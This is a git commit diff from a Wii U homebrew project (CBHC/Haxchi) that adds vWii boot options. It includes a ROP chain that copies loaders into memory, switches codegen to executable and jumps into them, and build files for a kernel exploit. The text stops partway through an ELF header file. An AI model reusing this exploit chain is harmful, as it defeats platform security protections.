-added vwii boot option to cbhc

-made installer more stable on exit
This commit is contained in:
FIX94 2017-01-13 02:52:57 +01:00
parent bf5e1d92cf
commit 8492589988
No known key found for this signature in database
GPG Key ID: CE39016A19D8EADA
33 changed files with 3636 additions and 151 deletions

View File

@ -58,6 +58,7 @@ setup:
@cd hbl_loader && make && cd ..
@cd iosu_patcher && make && cd ..
@cd option_select && make && cd ..
@cd vwii_loader && make && cd ..
setup_animalcrossing:
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@ -271,4 +272,5 @@ clean:
@cd hbl_loader && make clean && cd ..
@cd iosu_patcher && make clean && cd ..
@cd option_select && make clean && cd ..
@cd vwii_loader && make clean && cd ..
@echo "all cleaned up !"

View File

@ -1,5 +1,5 @@
/*
* Copyright (C) 2016 FIX94
* Copyright (C) 2016-2017 FIX94
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
@ -25,14 +25,18 @@ static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vp
#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"
#define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf"
static const char *verChar = "CBHC v1.5u1 by FIX94";
static const char *verChar = "CBHC v1.6 by FIX94";
static const unsigned long long VWII_SYSMENU_TID = 0x0000000100000002ULL;
static const unsigned long long VWII_HBC_TID = 0x000100014C554C5AULL;
#define DEFAULT_DISABLED 0
#define DEFAULT_SYSMENU 1
#define DEFAULT_HBL 2
#define DEFAULT_MOCHA 3
#define DEFAULT_CFW_IMG 4
#define DEFAULT_MAX 5
#define DEFAULT_VWII_SYSMENU 5
#define DEFAULT_VWII_HBC 6
#define DEFAULT_MAX 7
static const char *defOpts[DEFAULT_MAX] = {
"DEFAULT_DISABLED",
@ -40,6 +44,8 @@ static const char *defOpts[DEFAULT_MAX] = {
"DEFAULT_HBL",
"DEFAULT_MOCHA",
"DEFAULT_CFW_IMG",
"DEFAULT_VWII_SYSMENU",
"DEFAULT_VWII_HBC",
};
static const char *bootOpts[DEFAULT_MAX] = {
@ -48,6 +54,8 @@ static const char *bootOpts[DEFAULT_MAX] = {
"Homebrew Launcher",
"Mocha CFW",
"fw.img on SD Card",
"vWii System Menu",
"vWii Homebrew Channel",
};
#define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable);
@ -57,66 +65,55 @@ static const char *bootOpts[DEFAULT_MAX] = {
uint32_t __main(void)
{
/* coreinit functions */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
void (*DCStoreRange)(const void *addr, uint32_t length);
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
/* coreinit os functions*/
int (*OSForceFullRelaunch)(void);
void (*OSSleepTicks)(unsigned long long ticks);
void (*OSExitThread)(int);
unsigned long long(*OSGetTitleID)();
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID);
unsigned int sysapp_handle;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
/* coreinit os screen functions */
void(*OSScreenInit)();
void(*OSScreenEnableEx)(unsigned int bufferNum, int enable);
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
unsigned int vpad_handle;
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
int vpadError = -1;
VPADData vpad;
VPADRead(0, &vpad, 1, &vpadError);
if(vpadError == 0)
{
if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU)
{
// iosuhax-less menu launch backup code
int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash);
_SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0);
OSExitThread(0);
return 0;
}
else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL)
{
// original hbl loader payload
strcpy((void*)0xF5E70000,SD_HBL_PATH);
return 0x01800000;
}
}
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
/* coreinit memory functions */
void (*DCStoreRange)(const void *addr, uint32_t length);
unsigned int *pMEMAllocFromDefaultHeapEx;
unsigned int *pMEMFreeToDefaultHeap;
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx);
void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4);
void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4);
void* (*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx);
void (*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
/* coreinit fs functions */
int(*FSInit)(void);
void(*FSShutdown)(void);
int(*FSAddClient)(void *pClient, int errHandling);
int(*FSDelClient)(void *pClient);
void(*FSInitCmdBlock)(void *pCmd);
int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling);
int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
@ -128,17 +125,50 @@ uint32_t __main(void)
OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile);
OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile);
/* act functions */
unsigned int act_handle;
OSDynLoad_Acquire("nn_act.rpl", &act_handle);
void(*nn_act_initialize)(void);
unsigned char(*nn_act_getslotno)(void);
unsigned char(*nn_act_getdefaultaccount)(void);
void(*nn_act_finalize)(void);
OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize);
OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno);
OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount);
OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize);
/* padscore functions */
unsigned int padscore_handle;
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
void(*WPADEnableURCC)(int enable);
void(*KPADSetConnectCallback)(int chan, void *ptr);
void*(*WPADSetSyncDeviceCallback)(void *ptr);
void(*KPADShutdown)(void);
//easly allows us callback without execute permission on other cores
char(*WPADGetSpeakerVolume)(void);
void(*WPADSetSpeakerVolume)(char);
OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC);
OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback);
OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown);
OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume);
/* save functions */
unsigned int save_handle;
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
void(*SAVEInit)(void);
void(*SAVEShutdown)(void);
void(*SAVEInitSaveDir)(unsigned char user);
int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling);
int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling);
void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling);
OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit);
OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown);
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir);
@ -146,24 +176,76 @@ uint32_t __main(void)
OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota);
OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename);
void(*nn_act_initialize)(void);
unsigned char(*nn_act_getslotno)(void);
unsigned char(*nn_act_getdefaultaccount)(void);
void(*nn_act_finalize)(void);
OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize);
OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno);
OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount);
OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize);
/* sysapp functions */
unsigned int sysapp_handle;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
void (*SYSLaunchMenu)(void);
void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot);
int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr);
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMenuWithCheckingAccount", &_SYSLaunchMenuWithCheckingAccount);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchTitleWithStdArgsInNoSplash", &_SYSLaunchTitleWithStdArgsInNoSplash);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSGetSystemApplicationTitleId", &_SYSGetSystemApplicationTitleId);
/* vpad functions */
unsigned int vpad_handle;
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
/* set up some variables */
int launchmode = LAUNCH_SYSMENU;
unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF);
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
FSInit();
nn_act_initialize();
unsigned char slot = nn_act_getslotno();
unsigned char defaultSlot = nn_act_getdefaultaccount();
nn_act_finalize();
/* pre-menu button combinations which can be held on gamepad */
int vpadError = -1;
VPADData vpad;
VPADRead(0, &vpad, 1, &vpadError);
if(vpadError == 0)
{
if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU)
{
// iosuhax-less menu launch backup code
_SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0);
OSExitThread(0);
return 0;
}
else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL)
{
// original hbl loader payload
strcpy((void*)0xF5E70000,SD_HBL_PATH);
return 0x01800000;
}
else if((vpad.btns_d|vpad.btns_h) == VPAD_BUTTON_B)
{
launchmode = LAUNCH_VWII_SYSMENU;
goto do_launch_selection;
}
}
//cbhc_menu_start:
void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4);
void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4);
//prepare FS and SAVE API
FSInit();
SAVEInit();
SAVEInitSaveDir(slot);
FSAddClient(pClient, -1);
FSInitCmdBlock(pCmd);
//check for autoboot file; if not found create one
int autoboot = -1;
int iFd = -1;
int i;
@ -184,60 +266,20 @@ uint32_t __main(void)
if (iFd >= 0)
FSCloseFile(pClient, pCmd, iFd, -1);
}
int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU;
if(autoboot > 0)
launchmode = (autoboot - 1);
int cur_autoboot = autoboot;
void(*OSScreenInit)();
void(*OSScreenEnableEx)(unsigned int bufferNum, int enable);
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
//fire up screens
OSScreenInit();
int screen_buf0_size = OSScreenGetBufferSizeEx(0);
OSScreenSetBufferEx(0, (void*)(0xF4000000));
OSScreenSetBufferEx(1, (void*)(0xF4000000 + screen_buf0_size));
OSScreenEnable(1);
unsigned long long(*OSGetTitleID)();
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID);
unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF);
char verInfStr[64];
__os_snprintf(verInfStr,64,"%s (DS Title %08X)", verChar, dsvcid);
unsigned int padscore_handle;
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
void(*OSSleepTicks)(unsigned long long ticks);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks);
void(*WPADEnableURCC)(int enable);
void(*KPADSetConnectCallback)(int chan, void *ptr);
void*(*WPADSetSyncDeviceCallback)(void *ptr);
void(*KPADShutdown)(void);
OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC);
OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback);
OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown);
//easly allows us callback without execute permission on other cores
char(*WPADGetSpeakerVolume)(void);
void(*WPADSetSpeakerVolume)(char);
OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume);
//enable wiiu pro controller connection
WPADEnableURCC(1);
//hachihachi instantly disconnects wiimotes normally
@ -250,9 +292,11 @@ uint32_t __main(void)
WPADSetSpeakerVolume(1);
WPADSetSyncDeviceCallback(WPADSetSpeakerVolume);
//no autoboot, straight to menu
if(autoboot == DEFAULT_DISABLED)
goto cbhc_menu;
//autoboot wait message
OSScreenClearBuffer(0);
OSScreenPutFont(0, 0, verInfStr);
OSScreenPutFont(0, 1, "Autobooting...");
@ -275,9 +319,9 @@ uint32_t __main(void)
}
usleep(50000);
}
//no menu requested, autoboot
if(loadMenu == 0)
goto doIOSUexploit;
goto cbhc_menu_end;
OSScreenClearBuffer(0);
OSScreenPutFont(0, 0, verInfStr);
@ -293,7 +337,7 @@ uint32_t __main(void)
cbhc_menu: ;
int redraw = 1;
int PosX = 0;
int ListMax = 5;
int ListMax = 7;
int clickT = 0;
while(1)
{
@ -337,7 +381,7 @@ cbhc_menu: ;
if( btnDown & VPAD_BUTTON_A )
{
if(PosX == 4)
if(PosX == 6)
{
cur_autoboot++;
if(cur_autoboot == DEFAULT_MAX)
@ -364,8 +408,12 @@ cbhc_menu: ;
OSScreenPutFont(0, 3, printStr);
__os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 3 == PosX ? '>' : ' ');
OSScreenPutFont(0, 4, printStr);
__os_snprintf(printStr,64,"%c Autoboot: %s", 4 == PosX ? '>' : ' ', bootOpts[cur_autoboot]);
__os_snprintf(printStr,64,"%c Boot vWii System Menu", 4 == PosX ? '>' : ' ');
OSScreenPutFont(0, 5, printStr);
__os_snprintf(printStr,64,"%c Boot vWii Homebrew Channel", 5 == PosX ? '>' : ' ');
OSScreenPutFont(0, 6, printStr);
__os_snprintf(printStr,64,"%c Autoboot: %s", 6 == PosX ? '>' : ' ', bootOpts[cur_autoboot]);
OSScreenPutFont(0, 7, printStr);
OSScreenFlipBuffers();
redraw = 0;
@ -376,17 +424,14 @@ cbhc_menu: ;
OSScreenFlipBuffers();
usleep(50000);
doIOSUexploit:
WPADSetSpeakerVolume(oriVol);
KPADShutdown();
//regular menu end, save settings, clean up and launch selection
cbhc_menu_end: ;
if(cur_autoboot != autoboot)
SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1);
SAVEFlushQuota(pClient, pCmd, slot, -1);
FSDelClient(pClient);
SAVEShutdown();
nn_act_finalize();
FSShutdown();
MEMFreeToDefaultHeap(pClient);
@ -395,14 +440,10 @@ doIOSUexploit:
OSScreenClearBuffer(0);
OSScreenFlipBuffers();
int (*OSForceFullRelaunch)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
WPADSetSpeakerVolume(oriVol);
//for patched menu launch
void (*SYSLaunchMenu)(void);
OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu);
void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchMenuWithCheckingAccount",&_SYSLaunchMenuWithCheckingAccount);
do_launch_selection: ;
KPADShutdown();
//store path to sd fw.img for arm_kernel
if(launchmode == LAUNCH_CFW_IMG)
@ -425,6 +466,18 @@ doIOSUexploit:
strcpy((void*)0xF5E70000,SD_MOCHA_PATH);
return 0x01800000;
}
else if(launchmode == LAUNCH_VWII_SYSMENU)
{
// vwii system menu bootup
memcpy((void*)0xF5E70000, &VWII_SYSMENU_TID, 8);
return 0x0180C000;
}
else if(launchmode == LAUNCH_VWII_HBC)
{
// vwii system menu bootup
memcpy((void*)0xF5E70000, &VWII_HBC_TID, 8);
return 0x0180C000;
}
//sysmenu or cfw
if(launchmode == LAUNCH_CFW_IMG)

View File

@ -6,5 +6,7 @@
#define LAUNCH_HBL 1
#define LAUNCH_MOCHA 2
#define LAUNCH_CFW_IMG 3
#define LAUNCH_VWII_SYSMENU 4
#define LAUNCH_VWII_HBC 5
#endif

View File

@ -5,6 +5,7 @@
HBL_LOADER_ADR equ (0x01800000)
IOSU_PATCHER_ADR equ (0x01804000)
CBHC_MENU_ADDR equ (0x01808000)
VWII_LOADER_ADDR equ (0x0180C000)
NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
@ -226,11 +227,12 @@ rop_start:
call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0
call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0
call_func MEMCPY, CBHC_MENU_ADDR, cbhc_menu, cbhc_menu_end - cbhc_menu, 0x0
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
call_func MEMCPY, VWII_LOADER_ADDR, vwii_loader, vwii_loader_end - vwii_loader, 0x0
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0
; switch codegen to RX
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0
; execute option_select in codegen
.word CBHC_MENU_ADDR
@ -272,4 +274,8 @@ rop_start:
.incbin "cbhc_menu.bin"
cbhc_menu_end:
vwii_loader:
.incbin "vwii_loader.bin"
vwii_loader_end:
.Close

View File

@ -0,0 +1,11 @@
#ifndef _STDINT_WRAP_H
#define _STDINT_WRAP_H
#include <../../powerpc-eabi/include/stdint.h>
#define int32_t my_int32_t
#define uint32_t my_uint32_t
typedef signed int int32_t;
typedef unsigned int uint32_t;
#endif

View File

@ -0,0 +1,46 @@
PATH := $(DEVKITPPC)/bin:$(PATH)
PREFIX ?= powerpc-eabi-
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc
CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin
ASFLAGS = -mregnames -x assembler-with-cpp
LD = $(PREFIX)ld
OBJCOPY = $(PREFIX)objcopy
LDFLAGS=-Ttext 180C000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc
OBJDUMP ?= $(PREFIX)objdump
project := .
root := $(CURDIR)
build := $(root)/bin
sd_loader_elf := sd_loader/sd_loader.elf
CFLAGS += -DUSE_SD_LOADER
ASFLAGS += -DUSE_SD_LOADER
FIRMWARE = 550
all: clean setup main
sd_loader.h: $(sd_loader_elf)
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
$(sd_loader_elf):
make -C sd_loader
setup:
mkdir -p $(root)/bin/
main: sd_loader.h
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
cp -r $(root)/*.o $(build)
rm $(root)/*.o
$(LD) -o vwii_loader.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map vwii_loader.map
$(OBJCOPY) vwii_loader.elf -S -O binary ../vwii_loader.bin
clean:
rm -rf $(build)
rm -rf sd_loader.h
rm -rf vwii_loader.elf vwii_loader.map
make clean -C sd_loader

3
dsrom/vwii_loader/README Normal file
View File

@ -0,0 +1,3 @@
This is a modified version of dimok's original homebrew launcher installer which can be found here:
https://github.com/dimok789/homebrew_launcher/tree/master/installer
This particular folder was hacked together to launch up vwii quickly.

View File

@ -0,0 +1,45 @@
#ifndef COMMON_H
#define COMMON_H
#ifdef __cplusplus
extern "C" {
#endif
#include "os_defs.h"
#define HBL_VERSION "v1.4"
#define CAFE_OS_SD_PATH "/vol/external01"
#define SD_PATH "sd:"
#define WIIU_PATH "/wiiu"
#ifndef MEM_BASE
#define MEM_BASE (0x00800000)
#endif
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08))
#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C))
#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10))
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600))
#define VWII_TITLE_ID_LOW (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x00))
#define VWII_TITLE_ID_HIGH (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x04))
#ifndef EXIT_SUCCESS
#define EXIT_SUCCESS 0
#endif
#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD
#ifdef __cplusplus
}
#endif
#endif /* COMMON_H */

View File

@ -0,0 +1,31 @@
//Taken from libwiius coreinit.h
#ifndef COREINIT_H
#define COREINIT_H
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
typedef struct OSContext
{
/* OSContext identifier */
uint32_t tag1;
uint32_t tag2;
/* GPRs */
uint32_t gpr[32];
/* Special registers */
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
/* Initial PC and MSR */
uint32_t srr0;
uint32_t srr1;
} OSContext;
#endif /* COREINIT_H */

7
dsrom/vwii_loader/crt0.S Normal file
View File

@ -0,0 +1,7 @@
.extern __main
.globl _start
_start:
# jump to our main
b __main

591
dsrom/vwii_loader/elf_abi.h Normal file
View File

@ -0,0 +1,591 @@
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
